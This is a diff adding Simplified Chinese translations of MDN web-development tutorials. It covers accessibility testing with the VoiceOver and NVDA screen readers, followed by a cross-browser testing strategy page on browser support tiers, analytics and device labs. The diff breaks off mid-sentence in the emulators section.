<li>有些是免费产品,比如<a href="http://www.nvaccess.org/">NVDA</a> (Windows), <a href="http://www.chromevox.com/">ChromeVox</a> (Chrome, Windows, and Mac OS X), 和<a href="https://wiki.gnome.org/Projects/Orca">Orca</a> (Linux).</li> + <li>有些内置在操作系统中,比如<a href="http://www.apple.com/accessibility/osx/voiceover/">VoiceOver</a> (Mac OS X and iOS), <a href="http://www.chromevox.com/">ChromeVox</a> (on Chromebooks), 和<a href="https://play.google.com/store/apps/details?id=com.google.android.marvin.talkback">TalkBack</a> (Android).</li> +</ul> + +<p>通常,屏幕阅读器是独立运行的应用程序,并且不仅仅支持阅读网页,也支持阅读其他应用程序。也有例外(比如ChromeVox是一个浏览器扩展程序)。不同的屏幕阅读器可能在控制键和表现上稍有不同,所以你必须查阅你选择的屏幕阅读器的文档来获取相关细节。总体来说他们是大同小异的。</p> + +<p>一起看一下我们对几款不同的屏幕阅读器的测试。这将帮助你大致了解它们如何工作以及如何测试它们。</p> + +<div class="note"> +<p><strong>Note</strong>: WebAIM的 <a href="http://webaim.org/techniques/screenreader/">Designing for Screen Reader Compatibility</a>提供了一些关于屏幕阅读器的使用和如何开发应用以最好的适用屏幕阅读器的信息。你也可以看下<a href="http://webaim.org/projects/screenreadersurvey6/#used">Screen Reader User Survey #6 Results</a>这篇有关屏幕阅读器一些有趣的统计信息的文章。</p> +</div> + +<h4 id="VoiceOver">VoiceOver</h4> + +<p>VoiceOver (VO)是Mac/iPhone/iPad上的免费应用,所以如果你使用苹果公司的产品,可以用VO来进行测试。 我们在Mac OS X 系统上测试了它。</p> + +<p>按下Cmd + Fn + F5打开它。如果你之前没用过VO,将会出现一个可以选择是否开启VO的欢迎界面,并且还会有教程指导你如何使用。再次按下Cmd + Fn + F5可以关闭。</p> + +<div class="note"> +<p><strong>Note</strong>: 你应该至少看一遍教程,它对于你了解VO是非常有用的。</p> +</div> + +<p>当VO开启时,你会看到一个会显示当前选中信息的黑色框在屏幕的左下角,除此之外屏幕显示大体还是相同的。当前选中的部分也会出现一个黑色的边框以进行高亮显示,这个黑色框就是VO的光标。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14219/voiceover.png" style="border-style: solid; border-width: 1px; display: block; height: 386px; margin: 0px auto; width: 800px;"></p> + +<p>在使用中,你会用到"VO修饰键","VO修饰键"是一个单独键或组合键,当你使用VO的快捷键时,你需要额外按下这个"VO修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。VO的修饰键是CapsLock, 或Ctrl + Option。</p> + +<p>VO有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"VO"代表"VO修饰键"。</p> + +<table class="standard-table"> + <caption>常用的VO快捷键</caption> + <thead> + <tr> + <th scope="col">快捷键</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>VO + 方向键</td> + <td>移动VO光标</td> + </tr> + <tr> + <td>VO + 空格键</td> + <td>选择/激活高亮的部分,包括Rotor里的内容(关于Rotor见下面)</td> + </tr> + <tr> + <td>VO + Shift + 下</td> + <td>移动到组合项目里(比如HTML表格,或表单等)。进入组合里,你能使用下面的快捷键。</td> + </tr> + <tr> + <td>VO + Shift + 上</td> + <td>离开组合项目</td> + </tr> + <tr> + <td>VO + C</td> + <td>(当在表格里面时) 阅读当前列的头部</td> + </tr> + <tr> + <td>VO + R</td> + <td>(当在表格里面时) 阅读当前行的头部</td> + </tr> + <tr> + <td>VO + C + C </td> + <td>(当在表格里面时) 阅读当前列,包括列头</td> + </tr> + <tr> + <td>VO + R + R </td> + <td>(当在表格里面时) 阅读当前行,包括对应于每个小行的头</td> + </tr> + <tr> + <td>VO + 左, VO + 右</td> + <td>(当在水平的选项卡里面时,比如日期选择或时间选择) 切换选项</td> + </tr> + <tr> + <td>VO + 上, VO + 下</td> + <td>(当在垂直的选项卡里面时,比如日期选择或时间选择) 切换选项</td> + </tr> + <tr> + <td>VO + U</td> + <td>使用Rotor。Rotor使用列表展示标题,链接,表单选项等,以便为我们提供便利的导航。</td> + </tr> + <tr> + <td>VO + 左, VO + 右</td> + <td>(当在Rotor里) 切换到其他列表</td> + </tr> + <tr> + <td>VO + 上, VO + 下</td> + <td>(当在Rotor里) 在当前列表里,切换到其他项</td> + </tr> + <tr> + <td>Esc</td> + <td>(当在Rotor里) 推出Rotor</td> + </tr> + <tr> + <td>Ctrl</td> + <td>(当VO阅读时) 暂停/继续</td> + </tr> + <tr> + <td>VO + Z</td> + <td>重复上一句话</td> + </tr> + <tr> + <td>VO + D</td> + <td>进入Mac的程序坞,你能选择运行哪个应用</td> + </tr> + </tbody> +</table> + +<p>看起来很多,但当你用起来时还好,因为VO通常会给你提醒,在哪里应该用哪个快捷键。现在试试运行VO,在{{anch("屏幕阅读器测试")}}屏幕阅读器测试章节做个测试吧。</p> + +<h4 id="NVDA">NVDA</h4> + +<p>NVDA只能运行在Window系统,你需要安装它。</p> + +<ol> + <li>在<a href="http://www.nvaccess.org/">nvaccess.org</a>下载。你能选择免费下载,或赞助后再下载;你需要在下载前提供你的邮箱地址。</li> + <li>下载完成后,开始安装 - 双击安装程序,接受条款,一步步按提示来。</li> + <li>双击NVDA程序或快捷方式,或者按下Ctrl + Alt + N打开它。你会看见欢迎界面。你能选择一些选项,然后按下OK继续。</li> +</ol> + +<p>NVDA现在在你的电脑上开启了。</p> + +<p>在使用中,你会用到"NVDA修饰键","NVDA修饰键"是一个单独键,当你使用NVDA的快捷键时,你需要额外按下这个"NVDA修饰键"。屏幕阅读器通常都会有修饰键,防止它们的快捷键和其他程序的快捷键冲突。NVDA的修饰键是Insert键(默认), 或CapsLock键(在欢迎界面可以选择使用该键)。</p> + +<div class="note"> +<p><strong>Note</strong>: 关于高亮方面,NVDA比VoiceOver做的更好。当滚动过标题、列表等元素时,你选中的项目会被一个细微的边框包住以高亮,但不是对于所有元素都是这样的。如果你感觉迷失方向了,可以按Ctrl + F5刷新页面,并从顶部重新开始。</p> +</div> + +<p>NVDA有很多快捷键,我们没有全部列出来。只把测试网页可访问性常用的一些在下面列出了。表格里,"NVDA"代表"NVDA修饰键"。</p> + +<table class="standard-table"> + <caption>常用的NVDA快捷键</caption> + <thead> + <tr> + <th scope="col">快捷键</th> + <th scope="col">描述</th> + </tr> + </thead> + <tbody> + <tr> + <td>NVDA + Q</td> + <td>关闭NVDA</td> + </tr> + <tr> + <td>NVDA + 上</td> + <td>阅读当前行</td> + </tr> + <tr> + <td>NVDA + 下</td> + <td>在当前位置开始阅读</td> + </tr> + <tr> + <td>上和下, 或者Shift + Tab 和Tab</td> + <td>移动到上/下一项,开始阅读</td> + </tr> + <tr> + <td>左和右</td> + <td>移动到当前项的上/下一个字符,开始阅读</td> + </tr> + <tr> + <td>Shift + H 和 H</td> + <td>移动到上/下一标题,开始阅读</td> + </tr> + <tr> + <td>Shift + K 和 K</td> + <td>移动到上/下一链接项,开始阅读</td> + </tr> + <tr> + <td>Shift + D 和 D</td> + <td>移动到上/下一文档界标(比如<nav>),开始阅读</td> + </tr> + <tr> + <td>Shift + 1–6 和 1–6</td> + <td>移动到上/下一标题(标题1 - 6),开始阅读</td> + </tr> + <tr> + <td>Shift + F 和 F</td> + <td>移动到上/下一表单选项,聚焦</td> + </tr> + <tr> + <td>Shift + T 和 T</td> + <td>移动到上/下一数据表,聚焦</td> + </tr> + <tr> + <td>Shift + B 和 B</td> + <td>移动到上/下一按钮,阅读它的label</td> + </tr> + <tr> + <td>Shift + L 和 L</td> + <td>移动到上/下一列表,阅读它的第一项</td> + </tr> + <tr> + <td>Shift + I 和 I</td> + <td>移动到上/下一列表,开始阅读</td> + </tr> + <tr> + <td>Enter/Return</td> + <td>(当链接或按钮或其他可激活的项选中时) 激活项</td> + </tr> + <tr> + <td>NVDA + 空格</td> + <td>(当选中表单时) 进入表单,或如果已经在表单里的情况下,离开表单</td> + </tr> + <tr> + <td>Shift Tab 和 Tab</td> + <td>(当在表单里面时) 切换到下一个input</td> + </tr> + <tr> + <td>上 和 下</td> + <td>(当在表单里面时) 改变input的值(例如选择框).</td> + </tr> + <tr> + <td>空格</td> + <td>(当在表单里面时) 选择已选中的值</td> + </tr> + <tr> + <td>Ctrl + Alt + 方向键</td> + <td>(当选中表格时) 切换表格单元格</td> + </tr> + </tbody> +</table> + +<h4 id="屏幕阅读器测试">屏幕阅读器测试</h4> + +<p>现在你学会了如何使用屏幕阅读器,来使用它做一些可访问性测试吧。这样你才能了解屏幕阅读器在好的网页和坏的网页之间不同的表现:</p> + +<ul> + <li>浏览<a href="http://mdn.github.io/learning-area/accessibility/html/good-semantics.html">good-semantics.html</a>, 留意屏幕阅读器如何找到标题并将其用于导航。再看一下<a href="http://mdn.github.io/learning-area/accessibility/html/bad-semantics.html">bad-semantics.html</a>, 留意屏幕阅读器不会得到这些信息。想象一下,当尝试浏览非常长的文本页面时,这会是多么使人烦躁。</li> + <li>浏览<a href="http://mdn.github.io/learning-area/accessibility/html/good-links.html">good-links.html</a>, 并留意当不在上下文时他们对于你理解内容的帮助。而<a href="http://mdn.github.io/learning-area/accessibility/html/bad-links.html">bad-links.html</a> 就无法帮助你理解— 他们仅仅会提示"click here(点击这里)".</li> + <li>浏览<a href="http://mdn.github.io/learning-area/accessibility/html/good-form.html">good-form.html</a>, 并注意如何使用其标签描述表单输入,因为我们已经正确使用了<label>。在<a href="http://mdn.github.io/learning-area/accessibility/html/bad-form.html">bad-form.html</a>, 只能获取到无用的空白标签。</li> + <li>浏览<a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>, 并查看屏幕阅读器如何将内容的列和行关联起来,并一起读取它们,因为我们已经正确定义了标头。在<a href="http://mdn.github.io/learning-area/accessibility/html/bad-table.html">bad-table.html</a>, 无法得知单元格的关联关系。请注意,当页面上只有一个表时,NVDA似乎表现得有些杂乱无章。你可以改用<a href="http://webaim.org/articles/nvda/tables.htm">WebAIM's table test page</a>进行测试。</li> + <li>看一下之前看过的<a href="http://www.freedomscientific.com/Training/Surfs-up/AriaLiveRegions.htm">WAI-ARIA live regions example</a>, 并注意屏幕阅读器将实时读取不断更新的部分。</li> +</ul> + +<h3 id="用户测试">用户测试</h3> + +<p>如上所述,你不能仅依靠自动化工具来确定网站上的可访问性问题。建议在制定测试计划时,包含一些用户测试可访问性的计划(有关更多内容,请参阅前面的<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#User_testing">用户测试</a>部分)。尝试让一些屏幕阅读器用户,一些全键盘用户,一些有听觉障碍的用户或其他用户参与测试,以满足你的需求。</p> + +<h2 id="测试可访问性检查清单">测试可访问性检查清单</h2> + +<p>以下列表提供了一个清单,供参考,以确保已对项目执行建议的可访问性测试:</p> + +<ol> + <li>确保HTML尽可能是语义化的。<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#%E9%AA%8C%E8%AF%81">验证</a>是一个好方法, 就像使用<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E5%AE%A1%E8%AE%A1%E5%B7%A5%E5%85%B7">审计工具</a>。</li> + <li>检查当关闭CSS时,你的内容能够被理解。</li> + <li>确认功能是<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E4%BD%BF%E7%94%A8%E9%94%AE%E7%9B%98">全键盘可访问</a>的。使用Tab键、回车键等做测试。</li> + <li>确保非文本内容有<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E6%9B%BF%E4%BB%A3%E6%96%87%E6%9C%AC">替代文本</a>。 <a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E5%AE%A1%E8%AE%A1%E5%B7%A5%E5%85%B7">审计工具</a>能够很好地发现问题。</li> + <li>确保<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E9%A2%9C%E8%89%B2%E5%92%8C%E9%A2%9C%E8%89%B2%E5%AF%B9%E6%AF%94%E5%BA%A6">颜色和颜色对比度</a>是可接受的,使用合适的工具测试。</li> + <li>确保<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E9%9A%90%E8%97%8F%E7%9A%84%E5%86%85%E5%AE%B9">隐藏的内容</a>可以被屏幕阅读器读取。</li> + <li>尽可能的使功能在没有JavaScript的情况下也可以正常使用。</li> + <li>在合适的地方使用ARIA来提供可访问性。</li> + <li>使用<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/%E5%8F%AF%E8%AE%BF%E9%97%AE%E6%80%A7#%E5%AE%A1%E8%AE%A1%E5%B7%A5%E5%85%B7">审计工具</a>测试一下你的网站。</li> + <li>使用屏幕阅读器实际测试一下。</li> + <li>在你的网站上可以添加可访问性策略/声明,以说明你的为可访问性做了什么。</li> +</ol> + +<h2 id="寻找帮助">寻找帮助</h2> + +<p>可访问性还会遇到许多其他问题。你要学会如何在线查找答案。请查阅HTML和CSS文章的“<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#%E5%AF%BB%E6%89%BE%E5%B8%AE%E5%8A%A9">寻找帮助</a>”部分,以获取一些指导。 </p> + +<h2 id="总结">总结</h2> + +<p>希望本文能让你了解可访问性,以及帮助你解决遇到的一些可访问性问题。</p> + +<p>下一篇文章,我们将详细介绍特征检测。</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/JavaScript","Learn/Tools_and_testing/Cross_browser_testing/Feature_detection", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="指南">指南</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试简介</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">测试策略</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">处理常见的HTML和CSS问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">处理常见的JavaScript问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">处理常见的可访问性问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">实现特征检查</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">自动测试简介</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">建立你自己的自动化测试环境</a></li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/测试策略/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/测试策略/index.html new file mode 100644 index 0000000000..fb01cd2843 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/测试策略/index.html @@ -0,0 +1,367 @@ +--- +title: 进行测试的策略 +slug: Learn/Tools_and_testing/Cross_browser_testing/测试策略 +tags: + - 测试 + - 测试策略 + - 用户测试 + - 自动化测试 + - 虚拟机 仿真器 + - 跨浏览器测试 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Introduction","Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary"><br> + 这篇文章主要是讨论如何进行跨浏览器测试,回答一些比较常见的疑惑,譬如:“什么是跨浏览器测试?”,“会遇到哪些常见的问题?”以及“如何测试、区分以及修复问题?”</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">准备:</th> + <td>熟练掌握 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言; 了解<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试的核心概念</a>。</td> + </tr> + <tr> + <th scope="row">对象:</th> + <td>了解跨浏览器测试所涉及的高级概念。</td> + </tr> + </tbody> +</table> + +<h2 id="是否需要测试?">是否需要测试?</h2> + +<p>开始跨浏览器测试(cross browser testing)之前您需要确定哪些浏览器将进入被测试名单。测试所有用户可能使用的浏览器或移动设备是不可能的——数量太大,而且浏览器和设备总在不断更新。</p> + +<p>可行的替代方案是,尝试确保您的网站适用于最常见的浏览器和设备,然后进行防御性编码,以便为您的网站提供最广泛的支持范围。</p> + +<p>防御性编码的实质是一种智能回退措施:如果某个功能或样式在浏览器中不起作用,该网站将将降级为不太令人兴奋的东西,但仍然能提供可接受的用户体验——核心是:虽然网站看起来不那么漂亮,仍然可以访问。</p> + +<p>本章的目的是建立一个供您在测试时参考的浏览器/设备图表。 您可以根据需要将其设置成简单或复杂版本——常见的方法是具有多个等级的支持,例如:</p> + +<ol> + <li>A 级:普通/现代浏览器(仍在广泛使用):需要彻底测试并提供全面支持。</li> + <li>B 级:较旧/较少的浏览器 (少数用户还在使用):测试并提供更基本的体验,以提供对核心信息和服务的完全访问。</li> + <li>C 级:稀有/未知浏览器 : 不进行测试,假设网站内容可以显示。 在我们的防御性编码起效的情况下,用户可以访问到网页的全部内容。</li> +</ol> + +<p>在以下各节中,我们将以此等级为参考构建支持图表。</p> + +<div class="note"> +<p><strong>注意:雅虎最先使这一方法流行起来,详情参见《浏览器分级支持系统》(</strong> <a href="https://github.com/yui/yui3/wiki/Graded-Browser-Support">Graded browser Support</a><strong>)。</strong></p> +</div> + +<h3 id="有根据地假设">有根据地假设</h3> + +<p>您可以称之为“假设”或“直觉”。这不是一种准确,科学的方法,但作为具有网络行业经验的人,您至少应该对待测试的一些浏览器有些想法。这将形成一个良好的初级浏览器分级支持系统。</p> + +<p>例如,如果您居住在西欧或北美,您会发现许多人使用 Windows 和 Mac 的台式机或笔记本电脑,主要浏览器是 Chrome,Firefox,Safari,IE 和 Edge。您可以测试前三个浏览器最近的三个版本,因为它们会定期更新。对于Edge和IE,您应当近期的多个版本。这些浏览器都应该属于A级。</p> + +<div class="note"> +<p><strong>注意:</strong>您一次只能在计算机上安装一个版本的 IE 或 Edge,因此您可能必须使用虚拟机或其他方法来执行所需的测试。稍后请参阅虚拟机部分{{anch("Virtual machines")}}。</p> +</div> + +<p>很多人使用 iOS 和 Android,因此您可能还想测试最新版本的 iOS Safari,最近几个版本的 Android stock 浏览器,以及适用于 iOS 和 Android 的 Chrome 和 Firefox。理想情况下,您应该在手机和平板电脑上测试这些,以确保响应式设计的正常运行。</p> + +<p>您也许知道很多人仍然在使用 IE 9。这一版本陈旧而且功能较少,所以让我们把它放在B级别。</p> + +<p>到目前为止,这为我们提供了以下支持级别:</p> + +<ol> + <li>A 级:用于 Windows / Mac 的 Chrome 和 Firefox,用于 Mac 的 Safari,用于 Windows的 Edge 和 IE(每个版本的最后两个版本),用于 iPhone / iPad 的 iOS Safari,用于手机/平板电脑的 Android stock 浏览器(最后两个版本),用于手机和平板电脑上的 Chrome 和适用于 Android 的Firefox(最后两个版本)。</li> + <li>B 级:适用于 Windows 的 IE 9</li> + <li>C 级:无</li> +</ol> + +<p>如果您居住在其他地方,或者正在开发其他地方(例如某些国家或地区)的网站,那么您可能会有不同的常用浏览器进行测试。</p> + +<div class="note"> +<p><strong>注意:</strong>“我老板用Blackberry,所以我们最好确保它看起来很好”也可以是一个有说服力的论点。</p> +</div> + +<h3 id="浏览器支持检测">浏览器支持检测</h3> + +<p>您可以调用的一个有用的措施是浏览器支持统计信息,用于告知您的浏览器测试选项。有许多网站提供此类统计信息,例如:</p> + +<ul> + <li><a href="https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0">Netmarketshare</a></li> + <li><a href="http://gs.statcounter.com/">Statcounter</a></li> +</ul> + +<p>这些都以北美为中心,并不特别准确,但它们可以让您了解大趋势。</p> + +<p>例如,让我们转到 <a href="https://www.netmarketshare.com/browser-market-share.aspx?qprid=2&qpcustomd=0">Netmarketshare</a>。您可以看到 Opera 被列为具有小但可见的使用数字,因此,我们也应该将其添加到支持图表中,作为 C 级。</p> + +<p>IE8 被列为重要,但它较老且不再能够。Opera Mini 非常重要,但在运行时运行复杂的 JavaScript 方面,它的能力并不大(有关详细信息,请参阅 <a href="https://dev.opera.com/articles/opera-mini-and-javascript/">Opera Mini and JavaScrip</a>)。我们也应该把它放到B级。</p> + +<h3 id="使用分析工具">使用分析工具</h3> + +<p>更准确的数据源,如果你能得到它,来自像<a href="https://www.google.com/analytics/">Google Analytics</a>这样的分析应用程序。这是一个应用程序,将为您提供准确的统计数据,究竟是什么浏览器的人正在使用浏览您的网站。当然,这依赖于您已经有一个网站使用它,所以它是没有多大的适合全新的网站。</p> + +<p>但是,分析历史记录可用于查找支持统计信息以影响公司网站的新版本或要添加到现有站点的新功能。如果您有这些可用,它们比上述全球浏览器统计信息更准确。</p> + +<h4 id="配置Google分析">配置Google分析</h4> + +<ol> + <li>首先,您需要一个谷歌帐户。使用此帐户可登录<a href="https://www.google.com/analytics/">Google Analytics</a>。 </li> + <li>选择 <a href="https://analytics.google.com/analytics/web/">Google Analytics</a> (web))选项,然后单击"注册"按钮。</li> + <li>在注册页面中输入您的网站/应用详细信息。这是相当直观的设置;获得正确的最重要的字段是网站 URL。这需要是您的网站/应用的根 URL。</li> + <li>填写完所有内容后,按"获取跟踪 ID"按钮,然后接受显示的服务条款。</li> + <li>下一页为您提供一些代码段和其他说明。对于基本网站,您需要做的是复制网站跟踪代码块,并将其粘贴到您要在网站上使用 Google Analytics 跟踪的所有不同页面。您可以在关闭<code></body></code>标记下方,也可以位于其他适当位置,以防止其与应用程序代码混淆。</li> + <li>将更改上载到开发服务器,或将代码上载到其他任何位置。</li> +</ol> + +<p>就是这样!您的网站现在应该准备好开始报告分析数据。</p> + +<h4 id="学习分析数据">学习分析数据</h4> + +<p>现在,您应该能够返回 <a href="https://analytics.google.com/analytics/web">Analytics Web</a>主页,并开始查看您收集的有关网站的数据(当然,您需要留出一点时间才能真正收集一些数据)。</p> + +<p>默认情况下,您应该看到报告选项卡,如下所示:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14081/analytics-reporting.png" style="border-style: solid; border-width: 1px; display: block; height: 386px; margin: 0px auto; width: 700px;"></p> + +<p>有大量的数据,你可以看看使用谷歌分析––自定义报告在不同的类别,等等––我们没有时间讨论这一切。 <a href="https://support.google.com/analytics/answer/1008015">Getting started with Analytics</a> 为初学者提供了一些有关报告(以及更多)的有用指导。</p> + +<p>还应鼓励您查看左侧的不同选项,并查看您可以找到哪些类型的数据。例如,您可以通过从左侧菜单中选择" <em>Audience > Technology > Browser & OS</em>"来了解用户正在使用的浏览器和操作系统。</p> + +<div class="note"> +<p><strong>注意</strong>:使用 Google 分析时,您需要提防误导性偏见,例如"我们没有 Firefox 移动用户"可能会导致您不必为 Firefox 移动提供支持。但是,你不会有任何火狐移动用户,如果该网站被打破在火狐手机摆在首位。</p> +</div> + +<h3 id="其他注意事项">其他注意事项</h3> + +<p>您可能还应包括其他注意事项。您绝对应该将辅助功能作为 A 级测试要求(我们将在处理常见辅助功能问题一文中介绍您应该测试的内容)</p> + +<p>此外,您可能还有其他注意事项。如果要创建某种公司 Intranet,以便向经理提供销售数据,并且例如,所有经理都提供了 Windows 手机,则可能需要将移动 IE 支持作为优先事项。</p> + +<h3 id="最终的支持图表">最终的支持图表</h3> + +<p>因此,我们的最终支持图表最终将如下所示:</p> + +<ol> + <li>A 级:适用于 Windows/Mac 的 Chrome 和 Firefox、适用于 Mac 的 Safari、Windows 的"边缘"和"IE"(每个版本的最后两个版本)、iPhone/iPad 的 iOS Safari、手机/平板电脑上的 Android 股票浏览器(最后两个版本)、适用于 Android 的 Chrome 和 Firefox(最后两个版本)在手机平板电脑上.通过常见测试的可访问性。</li> + <li>B 级:IE 8 和 9 用于 Windows,Opera Mini。</li> + <li>C级:Opera,其他合适的现代浏览器。</li> +</ol> + +<h2 id="你想要测试什么?">你想要测试什么?</h2> + +<p>当您的代码库有需要测试的新添加项时,在开始测试之前,应编写出需要通过才能接受的测试要求列表。这些要求可以是可视的,也可以是功能性的, 两者结合起来, 成为可用的网站功能。</p> + +<p>思考下面的例子 (查看<a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html">源码 </a>, <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/strategies/hidden-info-panel.html">在线预览</a>):</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14083/sliding-box-demo.png" style="border-style: solid; border-width: 1px; display: block; height: 455px; margin: 0px auto; width: 700px;"></p> + +<p>此功能的测试标准可以这样编写:</p> + +<p>A 级和 B 级:</p> + +<ul> + <li>按钮应该由用户的主要控制机制激活,不管它是什么 ––这应该包括鼠标、键盘和触摸</li> + <li>切换按钮应使信息框显示/消失。</li> + <li>文本应可读。</li> + <li>使用屏幕阅读器的视障用户应该能够访问文本。</li> +</ul> + +<p>A 级:</p> + +<ul> + <li>信息框在出现/消失时应平滑地动画。</li> + <li>渐变和文本阴影应显示为增强框的外观。</li> +</ul> + +<p>You may notice from the text in the example that it won't work in IE8 — this is a problem according to our support chart, which you'll have to work on, perhaps by using a feature detection library to implement the functionality in a different way if the browser doesn't support CSS transitions (see Implementing feature detection, later on in the course).您可能会从示例中的文本中注意到它在 IE8 中不起作用 ––根据我们的支持图表,这是一个问题,您必须处理这个问题,如果浏览器不采用其他方式,则可能使用功能检测库以不同的方式实现功能(如果浏览器不支持 CSS 转换的话)(请参阅实现功能检测,稍后将在本课程中)。</p> + +<p>您可能还注意到,该按钮仅使用键盘无法使用, 这也需要纠正。也许我们可以使用一些JavaScript来实现一个键盘控件的切换,或者完全使用一些其他的方法?</p> + +<p>这些测试条件很有用,因为:</p> + +<ul> + <li>当您执行测试时,它们会为您提供一组要遵循的步骤。</li> + <li>在执行测试时,可以轻松地将它们转换为用户组要遵循的指令集(e.g. "try to active the button using your mouse, and then the keyboard...")–– 请参阅下面的 {{anch("User testing")}}。</li> + <li>它们还可以为编写自动测试提供基础。如果您确切知道要测试的内容以及成功条件是什么(请参阅使用自动化工具自动执行浏览器测试,请稍后在系列中)编写此类测试。</li> +</ul> + +<h2 id="建立一个测试实验室">建立一个测试实验室</h2> + +<p>执行浏览器测试的一个选项是自己进行测试。为此,您可能需要使用实际物理设备和模拟环境的组合(使用仿真器或虚拟机)。</p> + +<h3 id="真实设备">真实设备</h3> + +<p>通常最好让一个实际的设备运行您要测试的浏览器 , 这在行为和整体用户体验方面提供了最高的准确性。对于合理的低级设备实验室,您可能需要以下内容:</p> + +<ul> + <li>Mac,安装了您需要测试的浏览器,包括火狐、Chrome、Opera 和 Safari。</li> + <li>安装了需要测试的浏览器的 Windows 电脑,其中可能包括Edge (or IE), Chrome, Firefox和 Opera。</li> + <li>更高规格的Android手机和平板电脑,安装了浏览器,你需要测试 - 这可能包括Chrome,火狐,和Opera Mini的Android,以及原来的Android stock浏览器。</li> + <li>更高规格的 iOS 手机和平板电脑,并安装了您需要测试的浏览器 , 这可能包括 iOS Safari,以及适用于 iOS 的 Chrome、Firefox 和 Opera Mini。</li> +</ul> + +<p>如果可以获取这些选项,则以下是不错的选项:</p> + +<ul> + <li>可用的Linux PC ,以防您需要测试特定于 Linux 版本的浏览器的错误。Linux用户只使用火狐、Opera 和 Chrome。如果只有一台计算机可用,则可以考虑在单独的分区上创建运行 Linux 和 Windows 的双引导计算机。Ubuntu 的安装程序使设置起来非常简单;有关此帮助,请参阅<a href="https://help.ubuntu.com/community/WindowsDualBoot">WindowsDualBoot</a>。</li> + <li>几个低规格的移动设备,因此您可以测试低功率处理器上的动画等功能的性能。</li> +</ul> + +<p>您的主工作计算机也可以用于安装其他工具以用于特定目的,例如辅助功能审核工具、屏幕阅读器和仿真器/虚拟机。</p> + +<p>一些大型公司拥有设备实验室,这些实验室库存了大量不同的设备,使开发人员能够在非常具体的浏览器/设备组合上查找 Bug。较小的公司和个人通常负担不起如此复杂的实验室,因此倾向于使用较小的实验室、仿真器、虚拟机和商业测试应用程序。</p> + +<p>我们将介绍下面的其他选项。</p> + +<div class="note"> +<p><strong>注意</strong>:已做出一些努力用来创建可公开访问的设备实验室, 请参阅 <a href="https://opendevicelab.com/">Open Device Labs</a>。</p> +</div> + +<div class="note"> +<p><strong>注意</strong>:我们还需要考虑辅助功能 — 可以在计算机上安装许多有用的工具,以方便辅助功能测试,但我们将在本课程的后面部分介绍"处理常见辅助功能问题"一文中的工具。</p> +</div> + +<h3 id="模拟器">模拟器</h3> + +<p>仿真器基本上是在计算机内运行并模拟某种设备或特定设备条件的程序,允许您比查找要测试的特定硬件/软件组合更方便地执行某些测试。</p> + +<p>仿真器可能与测试设备条件一样简单。例如,如果要对宽度/高度媒体查询进行一些快速而粗劣的测试以进行响应式设计,则可以使用 Firefox 的<a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>。 Safari 也有类似的模式,可以通过访问 “<em>Safari > 